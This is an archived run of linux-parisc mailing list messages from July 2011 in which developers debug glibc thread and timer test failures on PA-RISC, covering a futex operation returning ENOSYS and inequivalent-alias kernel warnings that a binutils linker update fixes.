Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3831
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3831>

Hi Carlos,

 From what I see below, you have learned a lot about the failure.   
There's probably an operation
in the kernel that isn't hooked up although one would tend to think  
most of this should be generic.

we went canoeing today,
Dave

On 3-Jul-11, at 1:16 PM, Carlos O'Donell wrote:

> Dave,
>
> Instrumenting tst-cputimer1 yields:
> ~~
> carlos@firin:~/fsrc/glibc-work/tests/tst-cputimer1$ ./tst-cputimer1
> clock_gettime returned timespec = { 0, 40000000 }
> clock_getres returned timespec = { 0, 1 }
> timer_helper_thread: creating thread...
>
> timer_segev_thread: tid 1329
> timer_helper_thread: creating thread...
> ~~~
>
> The first thread starts, the second thread doesn't.
>
> You expressed some worry over this failure:
> ~~~
> 1309709905.557733 futex(0xc043e2c8, FUTEX_WAKE_PRIVATE, 1) = 0
> 1309709905.557733 futex(0xc043e2c8,
> FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, 0) = -1
> EINVAL (Invalid argument)
> ~~~
> This is part of nptl/npt-init.c where the threading system is trying
> to determine, at runtime, certain functionality.
> The first test is to determine if private futexes e.g.
> FUTEX_PRIVATE_FLAG are available, and they are.
> The second test is to determine if FUTEX_CLOCK_REALTIME is available,
> and it is, the test looks only for ENOSYS on return.
>
> The first thread has a futex operation fail completely:
> ~~~
> [pid  8589] 1309709905.789735 clone(Process 8590 attached
> child_stack=0x40e65040,
> flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD| 
> CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID,
> parent_tidptr=0x416644e8, tls=0x41664900, child_tidptr=0x416644e8) =
> 8590
> [pid  8590] 1309709905.789735 set_robust_list(0x416644f0, 0xc  
> <unfinished ...>
> [pid  8589] 1309709905.789735 rt_sigtimedwait([RTMIN],   
> <unfinished ...>
> [pid  8590] 1309709905.789735 <... set_robust_list resumed> ) = 0
> [pid  8590] 1309709905.789735 gettid()  = 8590
> [pid  8590] 1309709905.789735 rt_sigprocmask(SIG_SETMASK, [], NULL,  
> 8) = 0
> [pid  8590] 1309709905.789735 clock_gettime(0xfffffffa /* CLOCK_???
> */, {0, 252000000}) = 0
> [pid  8590] 1309709905.789735 futex(0x14548, FUTEX_WAKE_OP_PRIVATE, 1,
> 1, 0x14540, {FUTEX_OP_SET, 0, FUTEX_OP_CMP_GT, 1}) = -1 ENOSYS
> (Function not implemented)
> ~~~
> This is a worrisome problem, that's a feature that's expected to work
> and doesn't.
>
> It's part of the internal NPTL thread handling, I don't know
> specifically which futext it is, but it's important :-)
>
> This needs fixing. I'll look into that next.
>
> Cheers,
> Carlos.
>

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Sun, 3 Jul 2011 19:27:43 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <E064F028-D154-46FA-BC59-32C937371087@nrc-cnrc.gc.ca>
References: <20110527213516.GH21744@dannf.org> <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca> <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com> <20110601021049.GB3984@hiauly1.hia.nrc.ca> <20110602213549.GA21839@parisc-linux.org> <20110629193346.GA12729@hiauly1.hia.nrc.ca> <20110703004336.GD20434@parisc-linux.org> <7C0BBECE-2ED2-49B0-8371-569191EF3028@nrc-cnrc.gc.ca> <CB8EF4AD-D637-4B4E-9BFB-18A7EFD66834@mac.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1309735691 614 80.91.229.12 (3 Jul 2011 23:28:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 3 Jul 2011 23:28:11 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Thibaut VARENE <T-Bone@parisc-linux.org>,
	dann frazier <dannf@dannf.org>, <carlos@systemhalted.org>,
	<linux-parisc@vger.kernel.org>
To: rick jones <perfgeek@mac.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 04 01:28:06 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QdW55-0008HQ-Pd
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jul 2011 01:28:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751470Ab1GCX2D (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Jul 2011 19:28:03 -0400
Original-Received: from toip3.srvr.bell.ca ([209.226.175.86]:43072 "EHLO
	toip3.srvr.bell.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751189Ab1GCX2D (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Jul 2011 19:28:03 -0400
X-Greylist: delayed 73698 seconds by postgrey-1.27 at vger.kernel.org; Sun, 03 Jul 2011 19:28:02 EDT
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: ApIBAGH0EE5GGh23/2dsb2JhbAAMRrFtwTSGNgSjCA
Original-Received: from bas1-ottawa09-1176116663.dsl.bell.ca (HELO [192.168.2.10]) ([70.26.29.183])
  by toip3.srvr.bell.ca with ESMTP; 03 Jul 2011 19:27:58 -0400
In-Reply-To: <CB8EF4AD-D637-4B4E-9BFB-18A7EFD66834@mac.com>
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3832
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3832>


On 3-Jul-11, at 11:33 AM, rick jones wrote:

> I've been letting myself get distracted by "the day job" wrt getting  
> equipment shipped to Canada :( But am still willing to give it a go  
> if there is still a destination.

Let's hold off a bit until I get a response from the VP.  Possibly, I  
could share stuff with Carlos
if NRC doesn't work out.

Dave
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Inequivalent aliases when stracing tst-cputimer1.
Date: Sun, 3 Jul 2011 22:39:47 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <CADZpyixbjoptakCZrdF2_X3twOMtr=Jsh__Dx3A_98=D_XZneA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1309747194 16451 80.91.229.12 (4 Jul 2011 02:39:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 4 Jul 2011 02:39:54 +0000 (UTC)
To: James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 04 04:39:50 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QdZ4g-0004ch-0F
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jul 2011 04:39:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752143Ab1GDCjt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Jul 2011 22:39:49 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:44374 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752117Ab1GDCjt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Jul 2011 22:39:49 -0400
Original-Received: by eyx24 with SMTP id 24so1623518eyx.19
        for <linux-parisc@vger.kernel.org>; Sun, 03 Jul 2011 19:39:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        bh=oF8J670YwJq9lYQq1B0e8jQSaFiKUDeGeZKWrYKHIjg=;
        b=WtyNsx8Bzq0pV/irto0rUYwgKWw708DS0FGD97KQgQRBgYoXPvBfxHzRzn4Op94GSc
         M4uqAkqdZLe99xZJBAX5Z9ISbRqRthbEkU5Q17FQXs7n0NV7Qv9CReELaeJtKE+C9YFh
         E+9xinI+vSG+fhuz0gLkOiFrDMrtI00sQduwQ=
Original-Received: by 10.14.15.102 with SMTP id e78mr250802eee.8.1309747187993; Sun, 03
 Jul 2011 19:39:47 -0700 (PDT)
Original-Received: by 10.14.187.131 with HTTP; Sun, 3 Jul 2011 19:39:47 -0700 (PDT)
X-Google-Sender-Auth: gSK8but0nXeDuVSJejzVaJbjkIw
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3833
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3833>

James, Dave,

While running some glibc tests on 2.6.39-rc3a+ I noticed the following:
~~~
...
[ 7649.424000] INEQUIVALENT ALIASES 0x13000 and 0x14000 in file tst-cputimer1
[ 7649.568000] INEQUIVALENT ALIASES 0x13000 and 0x14000 in file tst-cputimer1
[ 7649.720000] INEQUIVALENT ALIASES 0x13000 and 0x14000 in file tst-cputimer1
...
~~~

This is a binutils head, building glibc head, with gcc 4.4.4.

This *only* happens when I strace the application.

While the application is being strace'd it continually dumps the same
message about inequivalent aliases.

Any idea what's going on here?

How can I fix it? :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Inequivalent aliases when stracing tst-cputimer1.
Date: Mon, 4 Jul 2011 09:28:42 -0400
Lines: 50
Approved: news@gmane.org
Message-ID: <BLU0-SMTP9794777FA894A72C335DF0975C0@phx.gbl>
References: <CADZpyixbjoptakCZrdF2_X3twOMtr=Jsh__Dx3A_98=D_XZneA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1309786132 22001 80.91.229.12 (4 Jul 2011 13:28:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 4 Jul 2011 13:28:52 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 04 15:28:47 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QdjCf-0002ac-Vj
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jul 2011 15:28:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757500Ab1GDN2p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jul 2011 09:28:45 -0400
Original-Received: from blu0-omc4-s35.blu0.hotmail.com ([65.55.111.174]:17227 "EHLO
	blu0-omc4-s35.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753265Ab1GDN2o (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jul 2011 09:28:44 -0400
Original-Received: from BLU0-SMTP97 ([65.55.111.136]) by blu0-omc4-s35.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 4 Jul 2011 06:28:43 -0700
X-Originating-IP: [216.58.93.173]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.103] ([216.58.93.173]) by BLU0-SMTP97.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 4 Jul 2011 06:28:43 -0700
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11
In-Reply-To: <CADZpyixbjoptakCZrdF2_X3twOMtr=Jsh__Dx3A_98=D_XZneA@mail.gmail.com>
X-OriginalArrivalTime: 04 Jul 2011 13:28:43.0706 (UTC) FILETIME=[4B98B1A0:01CC3A4E]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3834
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3834>

On 7/3/2011 10:39 PM, Carlos O'Donell wrote:
> James, Dave,
>
> While running some glibc tests on 2.6.39-rc3a+ I noticed the following:
> ~~~
> ...
> [ 7649.424000] INEQUIVALENT ALIASES 0x13000 and 0x14000 in file tst-cputimer1
> [ 7649.568000] INEQUIVALENT ALIASES 0x13000 and 0x14000 in file tst-cputimer1
> [ 7649.720000] INEQUIVALENT ALIASES 0x13000 and 0x14000 in file tst-cputimer1
> ...
> ~~~
>
> This is a binutils head, building glibc head, with gcc 4.4.4.
>
> This *only* happens when I strace the application.
>
> While the application is being strace'd it continually dumps the same
> message about inequivalent aliases.
>
> Any idea what's going on here?
>
> How can I fix it? :-)

You need to update binutils to get new linker (actually, it's the 
default linker script that's changed).
The new linker script starts the data section on a page boundary.

It's not GCC version dependent.  However, newer GCC versions have 
improved delay slot handling.

It's caused by overlapping mappings of text and data which you can see 
by dumping the maps file
for the process.  I think I may have back ported the fix.  If you build 
binutils head, you will have to
configure with --disable-initfini-array to build glibc.

I don't know all the circumstances under which the message appears.  It 
always occurs on a core
dump.  It occurs when a page needs to be flushed and there are two or 
more inequivalent aliases
to the page.

It's probably harmless on A500.  It affects PA8800/PA8900.

Dave
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Inequivalent aliases when stracing tst-cputimer1.
Date: Mon, 4 Jul 2011 10:21:59 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <BLU0-SMTP414C3D96581B1FAED8EE23975C0@phx.gbl>
References: <CADZpyixbjoptakCZrdF2_X3twOMtr=Jsh__Dx3A_98=D_XZneA@mail.gmail.com> <BLU0-SMTP9794777FA894A72C335DF0975C0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1309789327 9340 80.91.229.12 (4 Jul 2011 14:22:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 4 Jul 2011 14:22:07 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 04 16:22:02 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qdk2E-00085W-0o
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jul 2011 16:22:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753555Ab1GDOWB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jul 2011 10:22:01 -0400
Original-Received: from blu0-omc4-s6.blu0.hotmail.com ([65.55.111.145]:25067 "EHLO
	blu0-omc4-s6.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751424Ab1GDOWA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jul 2011 10:22:00 -0400
Original-Received: from BLU0-SMTP41 ([65.55.111.135]) by blu0-omc4-s6.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 4 Jul 2011 07:22:00 -0700
X-Originating-IP: [216.58.93.173]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.103] ([216.58.93.173]) by BLU0-SMTP41.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 4 Jul 2011 07:21:59 -0700
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11
In-Reply-To: <BLU0-SMTP9794777FA894A72C335DF0975C0@phx.gbl>
X-OriginalArrivalTime: 04 Jul 2011 14:21:59.0978 (UTC) FILETIME=[BCB918A0:01CC3A55]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3835
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3835>

On 7/4/2011 9:28 AM, John David Anglin wrote:
> On 7/3/2011 10:39 PM, Carlos O'Donell wrote:
>> This is a binutils head, building glibc head, with gcc 4.4.4. You 
>> need to update binutils to get new linker (actually, it's the default 
>> linker script that's changed).
>> The new linker script starts the data section on a page boundary.

Depending on how GCC is configured, it may or may not use your binutils 
head linker.  gcc -v should show
what's going on.

Dave
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Inequivalent aliases when stracing tst-cputimer1.
Date: Mon, 4 Jul 2011 11:17:32 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <CADZpyixokUw9EP_sZgTBbDY6PLEr389vkw5vxUppAUyFoZS0Pg@mail.gmail.com>
References: <CADZpyixbjoptakCZrdF2_X3twOMtr=Jsh__Dx3A_98=D_XZneA@mail.gmail.com>
	<BLU0-SMTP9794777FA894A72C335DF0975C0@phx.gbl>
	<BLU0-SMTP414C3D96581B1FAED8EE23975C0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1309792666 31254 80.91.229.12 (4 Jul 2011 15:17:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 4 Jul 2011 15:17:46 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 04 17:17:38 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qdkty-0006DD-Sj
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jul 2011 17:17:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756274Ab1GDPRd convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jul 2011 11:17:33 -0400
Original-Received: from mail-ew0-f46.google.com ([209.85.215.46]:42167 "EHLO
	mail-ew0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754769Ab1GDPRd convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jul 2011 11:17:33 -0400
Original-Received: by ewy4 with SMTP id 4so1778409ewy.19
        for <linux-parisc@vger.kernel.org>; Mon, 04 Jul 2011 08:17:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=tGri/cBiU4qXPyvdQItDxfB6A9xf3kw9EiZzM7ivpmQ=;
        b=rK6v80csC9e2QSLKM+3c0otyltPOs0IFJAoHy/cN/fTmdxUe/0CQOgiOxtjfbBEHZk
         vbsagmOP+qVh/D/MgmfRs2Qo5PhncAqBcb5SPTxYSsorJulBXS701u8wYILEYwZn7JBA
         ktEvDUp+ptlUJR3or6QQhZ01ZvYIPwoNDiUDM=
Original-Received: by 10.14.35.163 with SMTP id u35mr1744316eea.232.1309792652215; Mon,
 04 Jul 2011 08:17:32 -0700 (PDT)
Original-Received: by 10.14.186.140 with HTTP; Mon, 4 Jul 2011 08:17:32 -0700 (PDT)
In-Reply-To: <BLU0-SMTP414C3D96581B1FAED8EE23975C0@phx.gbl>
X-Google-Sender-Auth: DbSv4GVevPbhrJm6dfMOs3F5AXU
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3836
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3836>

On Mon, Jul 4, 2011 at 10:21 AM, John David Anglin <dave.anglin@bell.ne=
t> wrote:
> On 7/4/2011 9:28 AM, John David Anglin wrote:
>>
>> On 7/3/2011 10:39 PM, Carlos O'Donell wrote:
>>>
>>> This is a binutils head, building glibc head, with gcc 4.4.4. You n=
eed to
>>> update binutils to get new linker (actually, it's the default linke=
r script
>>> that's changed).
>>> The new linker script starts the data section on a page boundary.
>
> Depending on how GCC is configured, it may or may not use your binuti=
ls head
> linker. =A0gcc -v should show
> what's going on.

You are correct, that was my mistake. I had rebuilt this particular
test without using binutils head, once I rebuilt with the newer linker
script, the two load segments have the correct alignment and the
application no longer exhibits these inequivalent aliases under
strace.

Thanks, that's one problem fixed.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tst-cputimer1 and tst-timer4
Date: Mon, 4 Jul 2011 11:21:52 -0400
Lines: 54
Approved: news@gmane.org
Message-ID: <CADZpyiwjD2kMPoh9rm1KL_+mYm72nPz8ERHcSuHODkD31qncuQ@mail.gmail.com>
References: <CADZpyizeDz0mRxLU3-Scx37DZ4jYMtKBjQn6_ZfxMyjhsT6Lkg@mail.gmail.com>
	<BLU0-SMTP9158F203DF2B6A1AD1D9A4975D0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1309792919 32687 80.91.229.12 (4 Jul 2011 15:21:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 4 Jul 2011 15:21:59 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc.ca>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 04 17:21:55 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QdkyA-0007uB-GH
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jul 2011 17:21:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757499Ab1GDPVy convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jul 2011 11:21:54 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:47911 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757458Ab1GDPVx convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jul 2011 11:21:53 -0400
Original-Received: by eyx24 with SMTP id 24so1770416eyx.19
        for <linux-parisc@vger.kernel.org>; Mon, 04 Jul 2011 08:21:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=3d67lEj66TqoglNlmcDV7102t2Ee2z3FHW4Yme6MTu8=;
        b=U6bNXSeT4mwb7bMQQqzcANo1rbKWEOC2FPyiuPDoVtiXQSAP16hEtlJ/Nk/QcHvuSw
         LwCnxxataRy+QxC4cy3nv/VmCv7y2ArOcvkubsE3g1pdPABclC4y5zHlCWz3+wPxZFQB
         vD9PLzRqmaDK8/BS0fVYnuIvDMcMeOfKG/5uY=
Original-Received: by 10.14.98.140 with SMTP id v12mr1817470eef.136.1309792912491; Mon,
 04 Jul 2011 08:21:52 -0700 (PDT)
Original-Received: by 10.14.186.140 with HTTP; Mon, 4 Jul 2011 08:21:52 -0700 (PDT)
In-Reply-To: <BLU0-SMTP9158F203DF2B6A1AD1D9A4975D0@phx.gbl>
X-Google-Sender-Auth: lfdEW8orgQU-3SVSKF9nYdAA5rQ
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3837
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3837>

On Sun, Jul 3, 2011 at 7:22 PM, John David Anglin <dave.anglin@bell.net=
> wrote:
> Hi Carlos,
>
> From what I see below, you have learned a lot about the failure. =A0T=
here's
> probably an operation
> in the kernel that isn't hooked up although one would tend to think m=
ost of
> this should be generic.

OK, fixed the kernel. We were still using the no-op futex
implementation I checked in 5 years ago :-(

=46ixing the kernel doesn't fix the testcase but instrumenting glibc
further reveals the cause of the failure:
~~~
carlos@firin:~/fsrc/glibc-work/tests/tst-cputimer1$ ./tst-cputimer1
do_clone: ARCH_CLONE...

clock_gettime returned timespec =3D { 0, 40000000 }
clock_getres returned timespec =3D { 0, 1 }
